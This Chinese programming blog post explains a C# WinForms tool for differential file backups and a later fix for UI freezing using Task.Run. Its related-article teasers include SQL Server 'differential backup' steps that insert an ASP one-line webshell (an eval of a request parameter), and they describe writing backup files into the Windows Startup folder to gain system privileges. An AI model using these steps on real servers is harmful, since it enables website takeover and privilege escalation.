C#写差异文件备份工具的示例

大家是不是平常都有好多文件需要定期备份?如歌曲、视频、文档,代码文件等等,如果经常增加删除修改文件,就需要定期备份,最早之前文件都不大的时候我都是手工先全部删除,然后再全部拷贝,感觉比较保险。后来有了很大的电影文件和很琐碎的代码文件之后,这样搞太折磨人,就学网上说的用Xcpoy组装了一个批处理。学了C#后,感觉还是做一个GUI体验更好用起来更方便。至于专业的工具,还真没怎么试过,有点不放心吧,有好用的倒是可以试试。现在先自己做一个用着吧。

关键代码如下:

private async void btnBackUp_Click(object sender, EventArgs e)
    {
      string sourceDirectory = txtSource.Text;
      string targetDirectory = txtTarget.Text;
      if (sourceDirectory.ToLower() == targetDirectory.ToLower())
      {
        Console.WriteLine("源目录和备份目录不能是同一目录!");
        MessageBox.Show("源目录和备份目录不能是同一目录!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
        return;
      }
      DirectoryInfo diSource = new DirectoryInfo(sourceDirectory);  // 源目录
      DirectoryInfo diTarget = new DirectoryInfo(targetDirectory);  // 备份目录
      if (diTarget.Name != diSource.Name)
        diTarget = new DirectoryInfo(Path.Combine(diTarget.FullName, diSource.Name));  // 创建同名目录
      if (!diTarget.Exists) diTarget.Create();  // 如果该目录已存在,则此方法不执行任何操作
      btnBackUp.Enabled = false;
      txtSource.Enabled = false;
      txtTarget.Enabled = false;
      lblWork.Text = "备份开始!";
      if (await CopyAllAsync(diSource, diTarget))
      {
        lblWork.Text = "备份完成!";
        MessageBox.Show("备份完毕!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
      }
      else lblWork.Text = "出现错误!";
      btnBackUp.Enabled = true;
      txtSource.Enabled = true;
      txtTarget.Enabled = true;
      btnBackUp.Focus();
    }

    public async Task<bool> CopyAllAsync(DirectoryInfo source, DirectoryInfo target)
    {
      try
      {
        foreach (FileInfo fi in source.GetFiles())  // 复制最新文件
        {
          Console.WriteLine(@"准备复制文件 {0}\{1}", target.FullName, fi.Name);  // Name不含路径,仅文件名
          FileInfo newfi = new FileInfo(Path.Combine(target.FullName, fi.Name));
          if (!newfi.Exists || (newfi.Exists && fi.LastWriteTime > newfi.LastWriteTime))
          {
            Console.WriteLine("正在复制文件 {0}", newfi.FullName);
            lblWork.Text = string.Format("正在复制文件 {0}", newfi.FullName);
            if (newfi.Exists && newfi.IsReadOnly) newfi.IsReadOnly = false;
            // 覆盖或删除只读文件会产生异常:对路径“XXX”的访问被拒绝
            fi.CopyTo(newfi.FullName, true);  // Copy each file into it's new directory
          }
        }

        foreach (FileInfo fi2 in target.GetFiles())  // 删除源目录没有而目标目录中有的文件
        {
          FileInfo newfi2 = new FileInfo(Path.Combine(source.FullName, fi2.Name));
          if (!newfi2.Exists)
          {
            Console.WriteLine("正在删除文件 {0}", fi2.FullName);
            lblWork.Text = string.Format("正在删除文件 {0}", fi2.FullName);
            if (fi2.IsReadOnly) fi2.IsReadOnly = false;
            fi2.Delete();  // 没有权限(如系统盘需管理员权限)会产生异常,文件不存在不会产生异常
          }
        }

        foreach (DirectoryInfo di in source.GetDirectories())  // 复制目录(实际上是创建同名目录,和源目录的属性不同步)
        {
          Console.WriteLine(" {0} {1}", di.FullName, di.Name);  // Name不含路径,仅本级目录名
          Console.WriteLine(@"准备创建目录 {0}\{1}", target.FullName, di.Name);
          DirectoryInfo newdi = new DirectoryInfo(Path.Combine(target.FullName, di.Name));
          if (!newdi.Exists)  // 如果CopyAllAsync放在if里的bug: 只要存在同名目录,则不会进行子目录和子文件的检查和更新
          {
            Console.WriteLine("正在创建目录 {0}", newdi.FullName);
            lblWork.Text = string.Format("正在复制目录 {0}", newdi.FullName);
            DirectoryInfo diTargetSubDir = target.CreateSubdirectory(di.Name);  // 创建目录
            Console.WriteLine("完成创建目录 {0}", diTargetSubDir.FullName);
          }
          if (await CopyAllAsync(di, newdi) == false) return false; ;  // Copy each subdirectory using recursion
        }

        foreach (DirectoryInfo di2 in target.GetDirectories())  // 删除源目录没有而目标目录中有的目录(及其子目录和文件)
        {
          DirectoryInfo newdi2 = new DirectoryInfo(Path.Combine(source.FullName, di2.Name));
          if (!newdi2.Exists)
          {
            Console.WriteLine("正在删除目录 {0}", di2.FullName);
            lblWork.Text = string.Format("正在删除目录 {0}", di2.FullName);
            di2.Delete(true);  // 只读的目录和文件也能删除,如不使用参数则异常"目录不是空的"
          }
        }
        return true;
      }
      catch (Exception e)
      {
        Console.WriteLine(e.Message);
        MessageBox.Show(e.Message, "提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
        return false;
      }
    }

注意事项:

// 文件和目录的创建日期为首次全新复制时的创建时间
// 文件复制后修改日期始终保持原先的不变,目录的修改日期为首次全新复制时的创建时间(因为本就是新建)
// 单纯的覆盖不会改变修改时间和创建时间
// 文件发生的属性变化全新复制时可以保留(无法通过更新时间判断文件的属性变化)

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

今天测试,又发现一个bug,真是防不胜防,好在终于找到病根并解决了。

问题出在 if (await CopyAllAsync(diSource, diTarget)) 这个地方,备份开始后,lblWork.Text = "备份开始!";  结果发现标签的设置并不生效,然后界面很卡,不能拖动窗口。在需要备份更新的文件特别多时感觉更明显。

原来,设置控件的Enabled属性是立即生效,但控件的Text属性并不是立即生效,就是UI界面不会立即更新,只是将设置信息加入了windows消息队列,通常等所在的方法执行完毕后才生效,但如果方法中该语句后面还有同类的设置,就会感觉不到它的生效,其实是生效了,只是先设为了一个值,然后又立即设为了另一个值,因为太快了,人眼看不出来。同样的原因,“正在复制文件XXX”也不即时显示正在复制的文件信息。

然后,界面卡顿,是因为拷贝的时候执行紧密运算,但是CopyAllAsync(diSource, diTarget)方法并没有在单独的线程运行,占用了UI线程,导致界面卡顿,改成下面这样,完美解决:

lblWork.Text = "备份开始!"; bool result = await Task.Run(() => CopyAllAsync(diSource, diTarget));   // 这儿是关键
if (result)  // if (await CopyAllAsync(diSource, diTarget)) 开始后界面会卡{
  lblWork.Text = "备份完成!";
  MessageBox.Show("备份完毕!", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else lblWork.Text = "出现错误!";

以上就是C#写差异文件备份工具的示例的详细内容,更多关于c# 文件备份的资料请关注我们其它相关文章!

(0)

相关推荐

  • sqlserver 手工实现差异备份的步骤

    手工实现差异备份的步骤 字符型: 1.恢复当前库;alter database 当前库 set RECOVERY FULL-- 2.建表cmd;create table cmd (a image)-- 3.备份当前库到D:\cmd1;backup log 当前库 to disk = 'D:\cmd1' with init-- 4.插入一句话代码到创建的表cmd;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25&

  • c#使用file.copy实现文件备份示例

    步骤: 1.遍历D盘Source文件夹找出所有名称包含LTE的文件,文件路径存放到List<string>中2.遍历List<string>,把所有文件Copy到E盘的备份文件夹中 复制代码 代码如下: using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.DirectoryServices;using System.IO; namespace C

  • C#实现MySQL命令行备份和恢复

    MySQL数据库的备份有很多工具可以使用,这两天写了一个使用C#调用MYSQL的mysqldump命令完成MySQL数据库的备份与恢复的小工具 先来说一下mysqldump命令备份MySQL数据库的使用方法 mysqldump -hhostname -uusername -ppassword databasename > backupfile.sql 直接将MySQL数据库压缩备份 mysqldump -hhostname -uusername -ppassword databasename |

  • Python 实现文件的全备份和差异备份详解

    Python实现文件的全备份和差异备份 之前有写利用md5方式来做差异备份,但是这种md5方式来写存在以下问题: md5sum获取有些软连接的MD5值存在问题 不支持对空目录进行备份,因为md5sum无法获取空目录的md5值 权限的修改md5sum无法判断 解决方案: 利用文件的mtime ctime mtime(Modified time)是在写入文件时随文件内容的更改而更改的 ctime(Create time)是在写入文件.更改所有者.权限或链接设置时随Inode的内容更改而更改的 废话不

  • 提权思路之MSSQL差异备份取系统权限

    MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码 让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj021320测试了N次之后跟你说! 那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧! 大家不用想都知道 通用地方 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 呵呵位置有了! 那么我们备份什么文件让系统能执行的呢? 这个是第一个关键点~! EXE J

  • 复习一下sql server的差异备份

    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少! 差异备份的流程大概这样: 1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = 'c:\ddd.bak';-- 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert int

  • MSSQL差异备份取系统权限的相关软件下载

    昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的 安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西, 落后了,落后了...... 下面是是在网上找到的资料和动画. TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人皆知

  • Python实现网站文件的全备份和差异备份

    之前有写利用md5方式来做差异备份,但是这种md5方式来写存在以下问题: •md5sum获取有些软连接的MD5值存在问题 •不支持对空目录进行备份,因为md5sum无法获取空目录的md5值 •权限的修改md5sum无法判断 解决方案: 利用文件的mtime ctime mtime(Modified time)是在写入文件时随文件内容的更改而更改的 ctime(Create time)是在写入文件.更改所有者.权限或链接设置时随Inode的内容更改而更改的 废话不多说直接上代码: #!/usr/b

  • C#实现的SQL备份与还原功能示例

    本文实例讲述了C#实现的SQL备份与还原功能.分享给大家供大家参考,具体如下: //记得加 folderBrowserDialog1 openFileDialog1 控件 using System.Data.SqlClient; //连接数据库 公共变量 namespace WindowsApplication1.GoodMenhod { class getSqlConnection { string sql = "Data Source=win7-pc;database=Kc;uid=sa;p

  • C#写差异文件备份工具的示例

    大家是不是平常都有好多文件需要定期备份?如歌曲.视频.文档,代码文件等等,如果经常增加删除修改文件,就需要定期备份,最早之前文件都不大的时候我都是手工先全部删除,然后再全部拷贝,感觉比较保险.后来有了很大的电影文件和很琐碎的代码文件之后,这样搞太折磨人,就学网上说的用Xcpoy组装了一个批处理.学了C#后,感觉还是做一个GUI体验更好用起来更方便.至于专业的工具,还真没怎么试过,有点不放心吧,有好用的倒是可以试试.现在先自己做一个用着吧. 关键代码如下: private async void b

  • C语言实现手写字符串处理工具的示例代码

    目录 头文件 实现文件 头文件 #ifndef STUDY_STR_UTIL_H #define STUDY_STR_UTIL_H #include "../structure/charhashmap.h" #include "../structure/charlist.h" #include "../structure/json.h" #include <malloc.h> #include <stdio.h> #inc

  • python使用pyqt写带界面工具的示例代码

    上篇介绍的使用python自带tkinter包,来写带界面的工具. 此篇介绍使用pyqt来开发测试工具. tkinter的好处是python官方自带,上手容易(但手写控件复杂),布局和摆放都不直观和容易,因为是像素坐标定位,需要花较长时间在界面开发上.pyqt是第三方gui开发工具,是目前公认的python上最好的客户端界面开发工具,因为控件是通过qt设计师的手动拖拽,调整颜色 字体 大小等样式也很简单,不需要去代码层面来写大量界面代码,真正的所见即所得. 学习pyqt需要安装这些文件,pyqt

  • SpringBoot+Tess4j实现牛逼的OCR识别工具的示例代码

    前言 " 等不到风中你的脸颊 眼泪都美到很融洽 等不到掩饰的雨落下 我的眼泪被你察觉 " 听着循环的歌曲,写着久违的bug.好吧,还是一天.正好一个小伙伴说,要不要做个工具站玩一下.我就随意的找了个工具站,看了下,发现很多都有文字的OCR识别功能.因此,我想起来之前了解的非常流行的开源的OCR大神级别的项目,Tesseract OCR. 简单介绍 官网如下所示 tesseract-ocr.github.io/ 简洁明了,挂在github上的网站. 详细的不再介绍,感兴趣的,可以进入同志

  • 基于Python编写微信清理工具的示例代码

    目录 主要功能 运行环境 核心代码 完整代码 前几天网上找了一款 PC 端微信自动清理工具,用了一下,电脑释放了 30GB 的存储空间,而且不会删除文字的聊天记录,很好用,感觉很多人都用得到,就在此分享一下,而且是用 Python 写的,喜欢 Python 的小伙伴可以探究一下. 主要功能 它可以自动删除 PC 端微信自动下载的大量文件.视频.图片等数据内容,释放几十 G 的空间占用,而且不会删除文字的聊天记录,可以放心使用. 工作以后,微信的群聊实在太多了,动不动就被拉入一个群中,然后群聊里大

  • 利用Go语言实现流量回放工具的示例代码

    目录 前言 goreplay介绍与安装 使用示例 流量放大.缩小 流量写入到ElastichSearch goreplay基本实现原理 总结 前言 哈喽,大家好,我是asong. 今天给大家推荐一款使用Go语言编写的流量回放工具 -- goreplay:工作中你一定遇到过需要在服务器上抓包的场景,有了这个工具就可以助你一臂之力,goreplay的功能十分强大,支持流量的放大.缩小,并且集成了ElasticSearch,将流量存入ES进行实时分析: 废话不多,我们接下来来看一看这个工具: gore

  • Golang 官方依赖注入工具wire示例详解

    目录 依赖注入是什么 开源选型 wire providers injectors 类型区分 总结 依赖注入是什么 Dependency Injection is the idea that your components (usually structs in go) should receive their dependencies when being created. 在 Golang 中,构造一个结构体常见的有两种方式: 在结构体初始化过程中,构建它的依赖: 将依赖作为构造器入参,传入进

  • 用ES6的class模仿Vue写一个双向绑定的示例代码

    本文介绍了用ES6的class模仿Vue写一个双向绑定的示例代码,分享给大家,具体如下: 最终效果如下: 构造器(constructor) 构造一个TinyVue对象,包含基本的el,data,methods class TinyVue{ constructor({el, data, methods}){ this.$data = data this.$el = document.querySelector(el) this.$methods = methods // 初始化 this._com

  • vue移动端写的拖拽功能示例代码

    相关知识点 touchstart 当在屏幕上按下手指时触发 touchmove 当在屏幕上移动手指时触发 touchend 当在屏幕上抬起手指时触发 mousedown mousemove mouseup对应的是PC端的事件 touchcancel 当一些更高级别的事件发生的时候(如电话接入或者弹出信息)会取消当前的touch操作,即触发 touchcancel.一般会在touchcancel时暂停游戏.存档等操作. 效果图 实现步骤html 总结了一下评论,好像发现大家都碰到了滑动的问题.就在

  • python 写一个性能测试工具(一)

    国庆重新学习了一下go的gin高性能测试框架. 用JMeter来测试gin与flask接口的性能,差别很大. 为什么我自己不尝试写一个性能工具,性能工具的核心就是 并发 和 请求. 请求可以选择Python的requests库. 并发可以通过python的 进程.线程.协程模拟. 这么一想,也不是很难了,上手撸一个. 依赖库 requests==2.22.0 gevent==20.9.0 numpy==1.19.2 requests 大家并不陌生,HTTP请求库. gevent是python协程

随机推荐